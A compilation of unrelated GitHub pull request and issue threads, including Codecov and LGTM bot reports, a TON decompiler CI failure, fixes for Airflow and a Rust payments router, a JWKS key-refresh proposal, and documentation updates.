:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
@@               Coverage Diff                @@
##           prep-release      #67      +/-   ##
================================================
- Coverage         25.48%   25.43%   -0.05%
================================================
  Files                73       73
  Lines              4077     4092      +15
================================================
+ Hits               1039     1041       +2
- Misses             3038     3051      +13

Impacted Files
Coverage Δ

src/django_peerctl/models/peerctl.py
45.05% <12.50%> (-0.40%)
:arrow_down:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Fix alerts reported by lgtm.com

This pull request introduces 3 alerts and fixes 29 when merging 3321090f20219924db1fb6666bbde83ea619419a into 1e079c13e0835ed58ab9126a1173f60e227f0073 - view on LGTM.com
new alerts:

1 for Useless comparison test
1 for Dereferenced variable may be null
1 for Unused format argument

fixed alerts:

4 for Contradictory type checks
4 for Reference equality test of boxed types
3 for Implicit conversion from array to string
3 for Dereferenced variable may be null
3 for Useless null check
3 for Potential input resource leak
2 for Non-synchronized override of synchronized method
1 for Useless comparison test
1 for Cast from abstract to concrete collection
1 for Container contents are never accessed
1 for Type mismatch on container modification
1 for Potential output resource leak
1 for Missing space in string literal
1 for Missing format argument

Comment posted by LGTM.com

This pull request introduces 1 alert and fixes 62 when merging 670c45c1005b9efb5cf721fbd63003817d66d905 into 31115bda697742bee543c755eba32b4e5ea053a3 - view on LGTM.com
new alerts:

1 for Useless comparison test

fixed alerts:

33 for Spurious Javadoc @param tags
4 for Contradictory type checks
4 for Reference equality test of boxed types
3 for Implicit conversion from array to string
3 for Dereferenced variable may be null
3 for Useless null check
3 for Potential input resource leak
2 for Non-synchronized override of synchronized method
1 for Useless comparison test
1 for Cast from abstract to concrete collection
1 for Container contents are never accessed
1 for Type mismatch on container modification
1 for Potential output resource leak
1 for Missing space in string literal
1 for Missing format argument

Comment posted by LGTM.com

Codecov Report

Merging #296 into 7.x will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##                7.x     #296   +/-   ##
=========================================
  Coverage     85.09%   85.09%
  Complexity     1953     1953
=========================================
  Files           195      195
  Lines         16234    16234
  Branches        391      391
=========================================
  Hits          13814    13814
  Misses         2267     2267
  Partials        153      153

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 31115bd...670c45c. Read the comment docs.

This pull request introduces 1 alert and fixes 132 when merging 354b2011c840705f140e456499e4f26f780bab95 into 8b616e5100606383e40f8907777be282acb60cb3 - view on LGTM.com
new alerts:

1 for Useless comparison test

fixed alerts:

103 for Spurious Javadoc @param tags
4 for Contradictory type checks
4 for Reference equality test of boxed types
3 for Implicit conversion from array to string
3 for Dereferenced variable may be null
3 for Useless null check
3 for Potential input resource leak
2 for Non-synchronized override of synchronized method
1 for Useless comparison test
1 for Cast from abstract to concrete collection
1 for Container contents are never accessed
1 for Type mismatch on container modification
1 for Potential output resource leak
1 for Missing space in string literal
1 for Missing format argument

Comment posted by LGTM.com

This pull request introduces 1 alert and fixes 142 when merging b73af45ebbb08a2c638f222c728c433803629447 into 62bc7103b2ab2ba1227c9a791ff20c5e57cd101a - view on LGTM.com
new alerts:

1 for Useless comparison test

fixed alerts:

103 for Spurious Javadoc @param tags
6 for Unused format argument
4 for Contradictory type checks
4 for Potential database resource leak
4 for Reference equality test of boxed types
3 for Implicit conversion from array to string
3 for Dereferenced variable may be null
3 for Useless null check
3 for Potential input resource leak
2 for Non-synchronized override of synchronized method
1 for Useless comparison test
1 for Cast from abstract to concrete collection
1 for Container contents are never accessed
1 for Type mismatch on container modification
1 for Potential output resource leak
1 for Missing space in string literal
1 for Missing format argument

Comment posted by LGTM.com


add CI testing

it fails for some reason when testing with tact.
might https://github.com/tact-lang/ton-opcode/commit/82dcf9cd065084cb84cc2114c5e1bb3e4a6f9f96 be the reason?
💼 Compiling project map-traverse...
   > MapTraverseTestContract: tact compiler
   > MapTraverseTestContract: func compiler
   > MapTraverseTestContract: fift decompiler
Fift decompiler crashed
Error: Offset(0) > 0 is out of bounds
    at BitString.substring (/home/runner/work/ton-opcode/ton-opcode/node_modules/@ton/core/dist/boc/BitString.js:72:19)
    at BitReader.loadBits (/home/runner/work/ton-opcode/ton-opcode/node_modules/@ton/core/dist/boc/BitReader.js:83:28)
    at Slice.loadBits (/home/runner/work/ton-opcode/ton-opcode/node_modules/@ton/core/dist/boc/Slice.js:100:29)
    at subslice (/home/runner/work/ton-opcode/ton-opcode/dist/utils/subcell.js:25:19)
    at decompile (/home/runner/work/ton-opcode/ton-opcode/dist/decompiler/decompiler.js:33:40)
    at decompileCell (/home/runner/work/ton-opcode/ton-opcode/dist/decompiler/decompileAll.js:13:48)
    at /home/runner/work/ton-opcode/ton-opcode/dist/decompiler/decompileAll.js:171:17
    at Writer.inIndent (/home/runner/work/ton-opcode/ton-opcode/dist/utils/Writer.js:13:13)
    at decompileCell (/home/runner/work/ton-opcode/ton-opcode/dist/decompiler/decompileAll.js:170:20)
    at /home/runner/work/ton-opcode/ton-opcode/dist/decompiler/decompileAll.js:44:21
💥 Compilation failed. Skipping packaging

https://github.com/Gusarich/ton-opcode/actions/runs/9020580130/job/24786043758

@anton-trunov ready to merge

CI is actually failing: https://github.com/tact-lang/ton-opcode/actions/runs/9410040546

I see, I'll fix that ASAP

Looks like I already fixed it in #11  :)

But please do double check if that's the right fix


fix(router): change Not Found response to Internal Server Error for empty vector

…ctor (#5916)
Modified the get_aggregates_for_payments function to address issue #5916.

Replaced the to_not_found_response handler with map_err to handle internal errors during data fetching.
Ensured that an empty vector returned from the get_intent_status_with_count method is treated as valid and does not result in a "Not Found" error.
Now, an Internal Server Error (HTTP 500) is returned only when there is an actual problem with fetching data from the database.
Attached a descriptive error message using attach_printable to provide more context in case of internal errors.

This fix ensures that valid empty results no longer cause false error responses and internal issues are correctly flagged with a 500 error.
Type of Change

[ ] Bugfix
[ ] New feature
[x] Enhancement
[x] Refactoring
[ ] Dependency updates
[ ] Documentation
[ ] CI/CD

Description

Additional Changes

[ ] This PR modifies the API contract
[ ] This PR modifies the database schema
[ ] This PR modifies application configuration/environment variables

Motivation and Context

How did you test it?

Checklist

[ ] I formatted the code cargo +nightly fmt --all
[x] I addressed lints thrown by cargo clippy
[x] I reviewed the submitted code
[ ] I added unit tests for my changes where possible

Hey @shreyshukla29 Any update on changes?

Hey @shreyshukla29 Any update on changes?

I’ve been reviewing the suggestions and working on implementing the changes to the get_aggregates_for_payments function. I plan to utilize the .change_context(errors::ApiErrorResponse::InternalServerError) method to enhance error handling.

Hi @gorakhnathy7 ,
Thanks for following up! I wanted to let you know that I’ve been reviewing the code, but it appears that the get_aggregates_for_payments function is not present in the recent branch, and the branch I’m working from seems to be outdated.
Could you please confirm if there’s a newer branch I should be looking at? I want to ensure that my changes are aligned with the latest codebase.
Thanks for your help!
Best,
Shrey

Hi @gorakhnathy7 ,
Thanks for following up! I wanted to let you know that I’ve been reviewing the code, but it appears that the get_aggregates_for_payments function is not present in the recent branch, and the branch I’m working from seems to be outdated.
Could you please confirm if there’s a newer branch I should be looking at? I want to ensure that my changes are aligned with the latest codebase.
Thanks for your help!
Best, Shrey

Hey @shreyshukla29 Can you please share both the branches you're mentioning.
Thanks!


Silly web sockets logo

I needed this idea out of my head!
Used the official logo as a template, I hope it is OK to add as MIT licensed content?
Thanks for making Deno.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Ubuntu 12.04 build error ./install command not found

Hi,
I'm unable to build nokogiri in Ubuntu, I've the following error:
make "DESTDIR=" install
./install -m 0755 nokogiri.so ./.gem.20160802-15911-174e5df/nokogiri
make: ./install: Command not found
make: *** [install-so] Error 127
ERROR:  Error installing nokogiri:
	ERROR: Failed to build gem native extension.

I've found in a Google Group, someone that has the same problem, here's the link
https://groups.google.com/forum/#!msg/nokogiri-talk/XfPPROD249c/RWa4NCjGBQAJ
I'm using rvm.

Hi,
Can you please provide the full command you're running, the full output from the run, along with the relevant log files?


Fixes #51 (Single file mode)

This should fix #51 -- it creates fake instance IDs when there are no ids for either references or system outputs, so that caching works properly. Also initializes references/sources to None instead of {} so that only appropriate metrics are computed.
@sebastianGehrmann could you please check that it doesn't break anything else?

I'll merge this for now, if it break something, let me know :-)


[AIRFLOW-417] Show useful error message for missing DAG in URL

Right now if a user runs tries to do certain things in the UI with dags
that don't exist they get confusing tracebacks rather than an error
rendered in html. Show a useful error message when a non-existent DAG
is requested.
Dear Airflow Maintainers,
Please accept this PR that addresses the following issues:

https://issues.apache.org/jira/browse/AIRFLOW-417

Testing Done:

Tested by running the webserver and navigating to http://localhost:8080/admin/airflow/tree?dag_id=abcd. An error message is flashed and the user is redirected to the main admin page. The page displays correctly for DAGs that exist.
Added test case to verify user redirected to the home page and shown an alert message

Before

After

Please rebase and trigger Travis build. Please also add tests, example tests are in core.py.

@bolkedebruin rebased and added a test.

Codecov Report

Merging #2055 into master will increase coverage by 0.03%.
The diff coverage is 33.33%.

@@            Coverage Diff             @@
##           master    #2055      +/-   ##
==========================================
+ Coverage   67.01%   67.05%   +0.03%
==========================================
  Files         142      142
  Lines       10732    10735       +3
==========================================
+ Hits         7192     7198       +6
+ Misses       3540     3537       -3

Impacted Files
Coverage Δ

airflow/www/views.py
67.49% <33.33%> (+0.07%)
:white_check_mark:

airflow/models.py
86.23% <ø> (+0.15%)
:white_check_mark:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 974b75e...8eaaaa3. Read the comment docs.

👍

@bolkedebruin opposite assert added.

@bolkedebruin can you please review? I've addressed all the points you brought up, and it should be ready to merge.

@vijaysbhat Please rebase and let me know if you still want a review!


Manual refresh for JwksHttpKeyProvider

We're currently wrapping JwksHttpKeyProvider in a custom key provider factory in order to support the following requirement (supports automatic key rotation for our services):

When a key is missing from the JWKS, the validation service shall attempt to reload the JWKS from the /.well-known/jwks.json endpoint. This shall be attempted at a rate of no more than once per minute.

I propose adding the following to JwksHttpKeyProvider.cs:
namespace JsonWebToken
{
    /// <summary>Represents a <see cref="IKeyProvider"/> that retrieve the key set from an HTTP resource as JWKS.</summary>
    public sealed class JwksHttpKeyProvider : IKeyProvider, IDisposable
    {
...

        // Possible implementation
        public void Refresh()
        {
            _refreshLock.Wait();
            try
            {
                _syncAfter = EpochTime.UtcNow + RefreshInterval;
            }
            finally
            {
                _refreshLock.Release();
            }
        }
    }
}

This would allow us to setup refreshing the JWKS if a key is missing.
Since this is a 2.0 release, perhaps this could be rolled up to IKeyProvider?

Can you expose a bit more your requirement ?
Currently the provider is refreshing automatically at a defined interval.
Indeed if you detect that a key is not found, the cache will still be valid. The proposed method Refresh() is a way to force the eviction of the cache.
Another way would be to refresh the keys if the key lookup fail:
https://github.com/uruk-project/Jwt/blob/55fee40ed0e35411e5fa99010dcb31f2e42bd9da/src/JsonWebToken/Reader/JwksHttpKeyProvider.cs#L160-L166
Replaced by:
 bool mustRetry = false;
 if (_currentJwks != null && _syncAfter > now)
 {
     var keys = _currentJwks.GetKeys(kid);
     if (keys.Count != 0)
     {
        return keys;
     }

     mustRetry = true;
 }

 if (mustRetry  || _syncAfter <= now)
 {

By doing so, the JwksHttpKeyProvider is automaticaly refreshing if it detects the key is not found. This also avoid the be vulnerable to an bad kid attack: Sending many invalid tokens with invalid kid, causing an HTTP request for each validation attempt.

That approach would work for us as well, and perhaps even nicer in that we don't have to manage this separately.
Whichever the mechanism, I concur that you would want to rate limit the lookups for a given key.


Slight expansion of Readme commit instructions.

Just projecting my newbie experience to the instructions. Hope this will help to possible new contributors.

Depends on #404, don't merge until then! :)

I've rebased the branch but messed up a bit so the previous PL got included.

Looks good, thanks!


docs(certificate-management): created new certificate management kit

Description
With this pull request, created new KIT for business partner certificate management application.
Newly added KIT contains changelog, adaption view, operation view, development view and documentation for architecture of application.
Pre-review checks
Please ensure to do as many of the following checks as possible, before asking for committer review:

[X] DEPENDENCIES are up-to-date. Dash license tool. Committers can open IP issues for restricted libs.
[X] Copyright and license header are present on all affected files

@SujitMBRDI please check the linting error.

@SebastianBezold we reviewed the content. If you have time - can you review it technically because it's a new KIT. Thanks.

@SujitMBRDI you please resolve the conflict - we wanted to merge today to prepare the release.

@SujitMBRDI you please resolve the conflict - we wanted to merge today to prepare the release.

Hi @maximilianong, i have resolved the conflict!
This happened as ESS kit merged before.

You should simplify static asset references. I'm not sure, why they are always referenced via @site. See the Docusaurus docs on static assets and how to reference them in markdown.
Additionally: Please rethink your directory and filenames. Using space characters in websites just makes it harder to reference stuff, since it always has to be URL encoded.. You are also mixing kebap-case and snake case. I would suggest to stick with kebap case

Hi @SebastianBezold,
I have adapted changes for image reference and removed .mdx files.
Also, made the changes for file names kept Kebab case.
Kindly have a look. Initially, i thought of same points but when i observed other KITs it was developed in that fashion so kept it.


Update the AZP SimpleITK.Package pipeline to use the same build and checkout hashes

This PR address https://github.com/SimpleITK/SimpleITK/issues/1233.  Submitting this PR for initial testing purposes.

Looks like a good starts.
However, this change would make it so that the CI branch/hash and the build branch/hash are the same, and no longer use the AZP queue variables. Please see:
https://github.com/SimpleITK/SimpleITK/blob/master/Testing/CI/Azure/azure-pipelines-package.yml#L21
That line is where the logic can be updated to use the AZP variable to the triggering/CI hash/branch in stead of "release".

@blowekamp This PR is finally ready to go. If the buildhash variable is master, it uses whatever the build source branch is.  Otherwise, it uses the buildhash variable.


2660 rename classes [do NOT merge yet]

This is a continuation of the refactor started in https://github.com/CartoDB/cartodb/pull/2732
I already got the branch and tests running in that branch and prefer to use another one for things to come. To keep a working state available.

Frontend tests were OK :+1: (details)

Frontend tests were OK :+1: (details)

continuing work on original branch